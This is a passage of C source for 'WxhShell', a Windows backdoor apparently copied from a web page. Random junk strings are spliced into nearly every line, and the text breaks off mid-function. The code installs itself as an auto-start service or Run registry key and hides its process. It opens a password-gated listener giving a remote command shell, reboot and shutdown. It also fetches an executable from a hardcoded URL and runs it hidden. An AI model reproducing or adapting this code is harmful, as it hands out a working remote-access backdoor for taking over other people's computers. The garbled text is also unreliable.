(PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); so8isDC'9 ,/m<= `*N| if (!NtQueryInformationProcess) return 0; j?+FS`a! '+Gt+Gq+ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !?Z}b.%W if(!hProcess) return 0; I&YYw8& hrNri$ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6WgGewn lK9us CloseHandle(hProcess); w1rB"rB? Od^y&$|_%` hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I`t"Na2i if(hProcess==NULL) return 0; be$wGO=Ts )mB+#T<k- HMODULE hMod; "T<Q#^m char procName[255]; dU3UCD+2y unsigned long cbNeeded; Dsm_T1X +AtZltM i if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?Re@`f+* S@z$,}Yc`< CloseHandle(hProcess); H-nk\ K<| gZM\RJZ_ if(strstr(procName,"services")) return 1; // 以服务启动 dum! AO tUGnD<P return 0; // 注册表启动
*"P
:ySA } p=coOWOQ 245(ajxHC // 主模块 y)"aQJ> int StartWxhshell(LPSTR lpCmdLine) .*r?zDV { .D-} 2<z SOCKET wsl; ,1Suq\
L BOOL val=TRUE; `D>PU@s$nT int port=0; O9r3^y\>I struct sockaddr_in door; 9FP6Z[4 SWz+.W{KQ" if(wscfg.ws_autoins) Install(); x9a*^l ^IjKT port=atoi(lpCmdLine); GLcf'$l j_L 'Ztu3 if(port<=0) port=wscfg.ws_port; ivb&J4?y z~L4BY @z WSADATA data; 6ALf`: if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [`Ol&R4k f#ID:Ap3 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; )p~\lM}?d setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _.' j'j% door.sin_family = AF_INET; e=o<yf9>Q door.sin_addr.s_addr = inet_addr("127.0.0.1"); pT>[w1Kk^ door.sin_port = htons(port); H2BD5 czi$&(N0w$ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { glH&v8 closesocket(wsl); Cl7IP<. return 1; ^'lx5+- } k_r12Bu YjdCCju if(listen(wsl,2) == INVALID_SOCKET) { ^+F@KXnL closesocket(wsl); ]!d #2( return 1; 0vbn!<: } R56:}<Y, Wxhshell(wsl); =<YG0K WSACleanup(); :UoZ`O~ cWl return 0; R3TdQ6j ZF_*h`B
} Y#V`i K v,bes[Ik // 以NT服务方式启动 7"yA~e,l VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {CG%$rh { v?,_SVgAi DWORD status = 0; M/x49qO# DWORD specificError = 0xfffffff; ^GQ+,0Yy %E}f7GT4 serviceStatus.dwServiceType = SERVICE_WIN32; c/DB"_}!a serviceStatus.dwCurrentState = SERVICE_START_PENDING; 3Wa^:8N serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s$4!?b$tw serviceStatus.dwWin32ExitCode = 0; Obgn?TAVX serviceStatus.dwServiceSpecificExitCode = 0; &W `." serviceStatus.dwCheckPoint = 0; v#q7hw= serviceStatus.dwWaitHint = 0; OC nQSkj T?4MFx# hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5%,J@&5G s if (hServiceStatusHandle==0) return; \XFF( ~2@+#1[g8z status = GetLastError(); 3.Z}2F] if (status!=NO_ERROR) K'kWL[Ut! { z$ZG`v>0 serviceStatus.dwCurrentState = SERVICE_STOPPED; -`sK?*[{J serviceStatus.dwCheckPoint = 0; H:Y?(" k serviceStatus.dwWaitHint = 0; i2j_=X- serviceStatus.dwWin32ExitCode = status; %ZF47P%6 serviceStatus.dwServiceSpecificExitCode = specificError; tGDsZ;3Yr SetServiceStatus(hServiceStatusHandle, &serviceStatus); /FJ )gQYA return; C ?JcCD2 } _LU]5$\b VRQ'sn@ serviceStatus.dwCurrentState = SERVICE_RUNNING; h}r .(MVt serviceStatus.dwCheckPoint = 0; P&@ 2DI3m serviceStatus.dwWaitHint = 0; hg[ob+" if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }G}2Y ( } )65 o .Y|5i^i9{ // 处理NT服务事件,比如:启动、停止 .`*h2 VOID WINAPI NTServiceHandler(DWORD fdwControl) mj:X'BVA { i,|2F9YH switch(fdwControl) W:
R2e2 { %ub\+~ case SERVICE_CONTROL_STOP: V_+XZ+7Lx} serviceStatus.dwWin32ExitCode = 0; 7vO3+lT/Y; serviceStatus.dwCurrentState = SERVICE_STOPPED; Xy/lsaVskX serviceStatus.dwCheckPoint = 0; kEiWE| serviceStatus.dwWaitHint = 0; !o +[L { *%'nlAX6% SetServiceStatus(hServiceStatusHandle, &serviceStatus); vdA3 } 0}v_usP return; xNDX(_U>\ case SERVICE_CONTROL_PAUSE: $bSnbU< serviceStatus.dwCurrentState = SERVICE_PAUSED; x[L/d"Wf break; r0jhIE# case SERVICE_CONTROL_CONTINUE: [C_Dv-d serviceStatus.dwCurrentState = SERVICE_RUNNING; [HO=ii]Wb break; :+u K1N case SERVICE_CONTROL_INTERROGATE: a2Q_K2t break; 'KL!)}B$h }; F&pJ faig SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]1YyP } !| ObNS o +-G@16 // 标准应用程序主函数 =XAFW int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) e:2e5gz { [@K#BFA |a!y%R= // 获取操作系统版本 )S~ySiJ<U OsIsNt=GetOsVer(); .] gY{_|x GetModuleFileName(NULL,ExeFile,MAX_PATH); #i6ZY^+ee yex4A)n9"' // 从命令行安装 f\cm84 if(strpbrk(lpCmdLine,"iI")) Install(); .MUoNk! ^R;Qa#=2 // 下载执行文件 -%I 0Q if(wscfg.ws_downexe) { Dq$co1eT if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g+ZQ6Hz WinExec(wscfg.ws_filenam,SW_HIDE); JIJ79HB } Pgdv)i3 svT1b'=\$I if(!OsIsNt) { HzuB.B< // 如果时win9x,隐藏进程并且设置为注册表启动 L"Vi:zdp HideProc(); (bT3
r_ StartWxhshell(lpCmdLine); T~Z7kc' } 2p6`@8*34 else Rq,ST: if(StartFromService()) E
0k1yA // 以服务方式启动 estDW1i) StartServiceCtrlDispatcher(DispatchTable); vH`m
W`= else 6<%W8m\ // 普通方式启动 9bE/7v StartWxhshell(lpCmdLine); )U$]J*LI B%~D`[~? return 0; S zqY@ } d|~A>YZ ?:8wDV OI0tgkG CHZjK(a =========================================== O7KR~d ?M02|8- fBZ\, *CnrzrKtQ _jhdqON6E q/|WkV `m " pbM"tr_A{ KR4vcI[4 #include <stdio.h> vU|.Gw #include <string.h> W@:a3RJ #include <windows.h> g;M\4o #include <winsock2.h> GNv5yWQ@ #include <winsvc.h> 4_A9o9&_Rh #include <urlmon.h> tG{? I{V1Le4? #pragma comment (lib, "Ws2_32.lib") @|2}*_3\ #pragma comment (lib, "urlmon.lib") REmD*gf wn$:L9"YN #define MAX_USER 100 // 最大客户端连接数 rX8EXraO #define BUF_SOCK 200 // sock buffer H=7z d|W #define KEY_BUFF 255 // 输入 buffer kOe~0xoT@u a%wK[yVp #define REBOOT 0 // 重启 D(GAC!|/] #define SHUTDOWN 1 // 关机 ,0~/ Cn
4't@i1Ll( #define DEF_PORT 5000 // 监听端口 Q9~UL^bF ;-G!jWt6Zi #define REG_LEN 16 // 注册表键长度 ,yC-QFQE #define SVC_LEN 80 // NT服务名长度 ^z[-pTY ~'4:{xH // 从dll定义API FZ)Y<r8|s typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kt";Jx typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |sw&sfH[FD typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J6!t"eB+ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :*2+t- N ".-]bB // wxhshell配置信息 n
^T_pqV?X struct WSCFG { n},~2 int ws_port; // 监听端口 dwc$?Bg,5 char ws_passstr[REG_LEN]; // 口令 Z{ntF int ws_autoins; // 安装标记, 1=yes 0=no $E^#DjhRQ3 char ws_regname[REG_LEN]; // 注册表键名 zN\~v char ws_svcname[REG_LEN]; // 服务名 Y[Gw<1F_ char ws_svcdisp[SVC_LEN]; // 服务显示名 ?-F SDNQ char ws_svcdesc[SVC_LEN]; // 服务描述信息 4*UoTE-g$ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dkV%Pyj int ws_downexe; // 下载执行标记, 1=yes 0=no !Xwp;P= char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zXB]Bf3TH char ws_filenam[SVC_LEN]; // 下载后保存的文件名 S?{|qlpy Q#@gOn=W\ }; qj71
rj JH~v e // default Wxhshell configuration (BC3[R@/l struct WSCFG wscfg={DEF_PORT, u.gh04{5 "xuhuanlingzhe", eiZv|?^0 1, AJrwl^lm "Wxhshell", [Cz.K?+#M "Wxhshell", {Izg1N "WxhShell Service", ?ng?>! "Wrsky Windows CmdShell Service", N0c+V["s "Please Input Your Password: ", fB5Bh;K 1, >GiM?*cC "http://www.wrsky.com/wxhshell.exe", z[Kxy1, "Wxhshell.exe" SaEe7eHd }; u[U~`*i*rA
0k5Zl? // 消息定义模块 G'(
%8\ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (
$3j char *msg_ws_prompt="\n\r? for help\n\r#>"; }>xgzhdT char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; a4,bP*H char *msg_ws_ext="\n\rExit."; r0kA47 char *msg_ws_end="\n\rQuit."; J`O4]XRY char *msg_ws_boot="\n\rReboot..."; )J_!ZpMC char *msg_ws_poff="\n\rShutdown..."; >TsJ0E?3x char *msg_ws_down="\n\rSave to "; vjJ!d#8 !EM21Sc char *msg_ws_err="\n\rErr!"; @yaBtZUp3 char *msg_ws_ok="\n\rOK!"; )dLESk d{0w4_x char ExeFile[MAX_PATH]; @( 9#\%= int nUser = 0; ~0fT*lp HANDLE handles[MAX_USER]; /,5`#Gte_ int OsIsNt; -3VxjycY |Xd[%W) SERVICE_STATUS serviceStatus; 8N6a= [fv< SERVICE_STATUS_HANDLE hServiceStatusHandle; tZa)sbz -p ) l63 // 函数声明 v%&f00 int Install(void); %@Ks<"9 int Uninstall(void); P1
(8foZA int DownloadFile(char *sURL, SOCKET wsh); 5S$HDO& int Boot(int flag); $t1]w]}d void HideProc(void); GU'5`Yzd9 int GetOsVer(void); S
M98 7Y!B int Wxhshell(SOCKET wsl); /^uvY void TalkWithClient(void *cs); D5T\X-+]O int CmdShell(SOCKET sock); R^](X* int StartFromService(void); yixW>W} int StartWxhshell(LPSTR lpCmdLine); )dF(5,y) 8t}=?:B+{ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1y0.tdI( VOID WINAPI NTServiceHandler( DWORD fdwControl ); S97.O@V!$ 4>Uo0NfL // 数据结构和表定义 M=o,Sav5* SERVICE_TABLE_ENTRY DispatchTable[] = um#;S; { V.Xz
n {wscfg.ws_svcname, NTServiceMain}, 8)"KPr63M {NULL, NULL} ,l;
&Tb=k }; o;];ng T,7Y7MzF // 自我安装 -ZQ3^'f:0J int Install(void) 8ZG'?A+{ { 5Tu#o() char svExeFile[MAX_PATH]; YXIDqTA+ HKEY key; GetUCb%1 strcpy(svExeFile,ExeFile); A$XjzTR h*%T2 // 如果是win9x系统,修改注册表设为自启动 `Q(ac|
0 if(!OsIsNt) { 7=QV ^G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }lpcbm RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]; ^OY\, RegCloseKey(key); a
_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gP(-Op RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +o'. !sRH RegCloseKey(key); oN `tZ;a return 0; E=QL4*?
} /mD KQ< } 'dU$QO } 3:Z(tM&-O else { sM5 w~R>Y _L$)~},cT // 如果是NT以上系统,安装为系统服务 [tD*\\IA SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $\^]MxI if (schSCManager!=0) <q[*kr { VsZ_So; SC_HANDLE schService = CreateService l?FNYvL ( 0a'@J~v! schSCManager, X! 2|_ wscfg.ws_svcname, /XMmE wscfg.ws_svcdisp,
gA[M SERVICE_ALL_ACCESS, jQ^Ib]"K SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @nT8[v SERVICE_AUTO_START, Bp/8 >EO` SERVICE_ERROR_NORMAL, NXmj<azED svExeFile, %[Ds-my2 NULL, bZG$ biq NULL, c''O+,L1+ NULL, .86..1 NULL, {VNeh NULL =0f8W=d:Vr ); H~~(v52wD if (schService!=0) _:K}DU'6 { <Ihn1? CloseServiceHandle(schService); Wey\GQ`"8 CloseServiceHandle(schSCManager); -[`W m7en strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +nZG!nP strcat(svExeFile,wscfg.ws_svcname); z::2O/ho if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^7''x,I RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); A+}4N%kh RegCloseKey(key); l2v}PALs return 0; *7v PU:Q[ } y]+A7| } 0jzA\ $oD CloseServiceHandle(schSCManager); gU%GM } 5;Z~+$1 } $_ i41f[ lz*2wGI9 return 1; 8xv\Zj + } Lf:Z
(Z> ;8v5 qz // 自我卸载 avz 4& int Uninstall(void) Cn<kl^!Q- { -s 1VlS/ HKEY key; GGuLxc?( z[rB/|2 if(!OsIsNt) { W9D)QIqbvW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \wCL)t.cX RegDeleteValue(key,wscfg.ws_regname); 3OZ}&[3 RegCloseKey(key); 5jLDe~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ? c+; RegDeleteValue(key,wscfg.ws_regname); \[&]kPcDl RegCloseKey(key); wf4Q}l2,d return 0; ,rdM{ r } Z4!3I@yZ } d]^i1 } tc',c},h~, else { +
ThKqC_ r__M1
!3 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); neBkwXF! if (schSCManager!=0) O?!"15 { 0>`69&;g| SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rij[ZrJ if (schService!=0) iI1t
P { 1:t>}[Y if(DeleteService(schService)!=0) { fjFy$NX&> CloseServiceHandle(schService); &M!:,B CloseServiceHandle(schSCManager); k
y98/6 return 0; 7`}z7nk } K0\WN"ua; CloseServiceHandle(schService); rBf?kDt6l } AL0Rn e N CloseServiceHandle(schSCManager); 'w2;oO } "J#:PfJ% } SXEiyy[7v E'G>'cW;x return 1; L DsYr] } ~ #CCRUhM "x)DE, // 从指定url下载文件 0 *\=Q$Yy int DownloadFile(char *sURL, SOCKET wsh) g$b*# { [P/gM3*' HRESULT hr; {/<& char seps[]= "/"; 4lA+V,# char *token; d%3BJ+J char *file; (zBQ^97] char myURL[MAX_PATH]; R=PzR;8 char myFILE[MAX_PATH]; eXK`%' G$ FBx strcpy(myURL,sURL); &}O!l' token=strtok(myURL,seps); %jkPrI while(token!=NULL) (Y([^N q { I8?[@kg5b' file=token; O 0#Jl8 token=strtok(NULL,seps); pC-OZ0 } ]B4mm__ `Tj}4f GetCurrentDirectory(MAX_PATH,myFILE); sFK<:ka strcat(myFILE, "\\"); Ef.4.iDJrR strcat(myFILE, file); @3YuV=QfH send(wsh,myFILE,strlen(myFILE),0); $4
Uy3C+6 send(wsh,"...",3,0); 5H+k_U hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )*h~dx_c m if(hr==S_OK) LltguNM$ return 0; AvZ) 1( else p8l#=]\; return 1; e-9unnk sv"mba.J } v\,%)Z/ 'qAfei'] // 系统电源模块 cg00t+ int Boot(int flag) +o]BjgG { 9
w1ONw8v HANDLE hToken; -P>=WZu TOKEN_PRIVILEGES tkp; RWCS
u$ ;
,jLtl if(OsIsNt) { !"%sp6Wc OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); UUu-(H-J LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); od*Z$Hb>' tkp.PrivilegeCount = 1; #J724` tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *Ne&SXg AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JZ/O0PW if(flag==REBOOT) { ^alZ\!B8 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) GA.bRN2CI2 return 0; ,$zlw\ } 6L9[U^`@ else { aGb.
Lh9 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
F'FZ?*a return 0; f~nt!$ } puN=OX}C } c[_^bs>k else { `(/saq* if(flag==REBOOT) { heZy
66 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X|E+K return 0; &v5.;8u+OV } ,GkW. vEU else { 'z}M[h
K] if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )nHE$gVM
s return 0; 7[v@*/W@ } fTV|?:C{ } F4E3c4
81 {lTxB'W@d return 1; E? eWv)// } bro <o!&Kk 9 // win9x进程隐藏模块 GyAgPz void HideProc(void) .um&6Q=2< { 1Uemsx%'k 15KV}){ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N1N{Ol' if ( hKernel != NULL ) ;=+Zw1/g { T<+ht8&M8 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ct}%Mdg ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q@!'R{fu FreeLibrary(hKernel); guOSO@ } MATgJ`lsy a=*ALd_&0 return; p/k<wCm6 } Bug}^t{M f-3'D-{EKt // 获取操作系统版本 %8bzs?QI int GetOsVer(void) juMxl { 2Za,4' OSVERSIONINFO winfo; @>G&7r:U winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1<a@ p} GetVersionEx(&winfo); r%F(?gKXkd if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8pk#sJ51 return 1; FL`1yD^2 else UOWIiu return 0; j&dx[4|m:h } d]CviQUq s[3![
"^Y // 客户端句柄模块 Z>x7|Q3CX int Wxhshell(SOCKET wsl) B6ed,($& { #7] o6 SOCKET wsh; B:?#l=FL struct sockaddr_in client; Dd0Qp-:2 DWORD myID; QJ#u[hsMFp X'FEOF while(nUser<MAX_USER) NtY*sUKRD { +ze}0lrEL int nSize=sizeof(client); }dX/Y/ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V$dJmKg if(wsh==INVALID_SOCKET) return 1; 3>Q@r>c Kc%n(,+%" handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S5~`T7Ra if(handles[nUser]==0) [jl2\3* closesocket(wsh); -DP8NTl" else B2~f;zy` nUser++; ~reQV6oQua } T-9k<,>? WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x.b; +p}= H>? :U] return 0; cQT1Xi } \6 \hnP ;Z ]<S_#- // 关闭 socket e0f":Vct void CloseIt(SOCKET wsh) /Hv*K&}M { Hp\Ddx >Jd closesocket(wsh); <ROpuY\!l nUser--; Z-(} l2\ ExitThread(0); #P(l2 ( } cz2,",+~ @Q;i.u{V // 客户端请求句柄 /Q?~Q0{)es void TalkWithClient(void *cs) GAv)QZyV$ { Bk@)b`WR 7p)N_cJD SOCKET wsh=(SOCKET)cs; j]pohxn$5 char pwd[SVC_LEN]; 3->,So0Y char cmd[KEY_BUFF]; EdEoXY-2 char chr[1]; pT4qPta,2 int i,j; !\CG,E k 4P|$LkI while (nUser < MAX_USER) { )ZHc$+fU aH%ZetLNJ if(wscfg.ws_passstr) { '!!e+\h# if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QhsMd-v //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nO~b=qO //ZeroMemory(pwd,KEY_BUFF); >;)2NrJV i=0; Bc@30KiQ^ while(i<SVC_LEN) { Bi e?M vYDSu.C@a // 设置超时 2B-.}OJ fd_set FdRead; +UzXN$73 struct timeval TimeOut; f'&GFL=c FD_ZERO(&FdRead); Yp*,Jp1 FD_SET(wsh,&FdRead); , jy<o+! TimeOut.tv_sec=8; MY!q% TimeOut.tv_usec=0; ;{k=C2 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O#Z/+\U if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y]N~vD dIk'pA^d if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RdgVBG#Z1 pwd=chr[0]; Vvyj if(chr[0]==0xd || chr[0]==0xa) { wUoiXi09 pwd=0; U;g S[8,p break; 2{-!E ^g } abBO93f^ i++; bni)Qw } :[xvlW29 3?2<WEYr // 如果是非法用户,关闭 socket y}N&/}M:}8 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); IU|kNBo } .s2$al
[ "a"x>X& send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GW3>&j_!d send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /v|Onq1Y4 $Jp~\_X while(1) { y7z( &M@ hGI+:Js6 ZeroMemory(cmd,KEY_BUFF); 3pSj kS|?> Z\Z,,g+WL // 自动支持客户端 telnet标准 fG&=Ogy j=0; EyY],W1 Y while(j<KEY_BUFF) { WULAty if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :"<e0wDu[ cmd[j]=chr[0]; H_w%'v & if(chr[0]==0xa || chr[0]==0xd) { mu[Op*) cmd[j]=0; N}b^fTq break; {,?ss$L } r|GY]9 j++; 6)}B"Qd } JJ?I>S N! 0C$8g
Y* // 下载文件 6Ps.E if(strstr(cmd,"http://")) { "3fBY\>a send(wsh,msg_ws_down,strlen(msg_ws_down),0); S2K#[mDG if(DownloadFile(cmd,wsh)) CqFeF?xd8h send(wsh,msg_ws_err,strlen(msg_ws_err),0); [A5W+pDm else ez\eOH6 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); raE
Mm } C\}/" else { tfYB _N vXv;1T switch(cmd[0]) { 3mO;JXd '<dgT&8C // 帮助 8'#/LA[uPe case '?': { YoKs:e2/: send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Xg7|JS! break; < zOi4v0 } 65TfFcQ<S // 安装 y(W|eBe case 'i': { PuL<^aJ if(Install()) lv%9MW0
z send(wsh,msg_ws_err,strlen(msg_ws_err),0); (JUZCP/ \ else upy\gkpnGO send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xQ4%e[/ break; ,7_4z]jK } z>m=h)9d~ // 卸载 Y?d9l case 'r': { S( ^.?z if(Uninstall()) \%0n}.A send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5!X1G8h)uy else T-_"|-k}P% send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @?
c2)0 break; ?jx1R^ } =elpH^N // 显示 wxhshell 所在路径 z (?=Iv3 case 'p': { Oz:
*LZ char svExeFile[MAX_PATH]; 2c5-)Dt)T strcpy(svExeFile,"\n\r"); tDg}Ys=4K> strcat(svExeFile,ExeFile); 8s{?v&p send(wsh,svExeFile,strlen(svExeFile),0); m908jI_So break; kM8{Cw } aj^wRzJ}zA // 重启 sEJC-$ case 'b': { 7!WA)@6 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); U1nw-Q+ if(Boot(REBOOT)) 6!'3oN{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); W2FD+ wt else { ~`M\Ir
closesocket(wsh); m,UGWR ExitThread(0); VHJM*&5 } G s+3e8 break; ?W^c4NtP } *37uy_EpV // 关机 {!t7[Ctb case 'd': { }G4ztiuG send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ojvj}ln if(Boot(SHUTDOWN)) SN7"7jo P< send(wsh,msg_ws_err,strlen(msg_ws_err),0); d)4
m6 else { CHrFM@CM closesocket(wsh); 3b' QLfU ExitThread(0); n!p<A.O7@ } +_XzmjnDd break; 6f')6X'x } y{dTp // 获取shell 8V^oP]Y case 's': { )OiT{-m CmdShell(wsh); C{gyj}5 closesocket(wsh); M`rl!Ci# ExitThread(0); 79`AM
X[b break; R"
;xvo* } Oo"^%F~% // 退出 uwz)($~bp case 'x': { Vn*tpbz send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); oE#d,Z CloseIt(wsh); r E}%KsZ break; WI?oSE w } ~//fN}~R // 离开 $s9Vrw0Z case 'q': { +L7n< |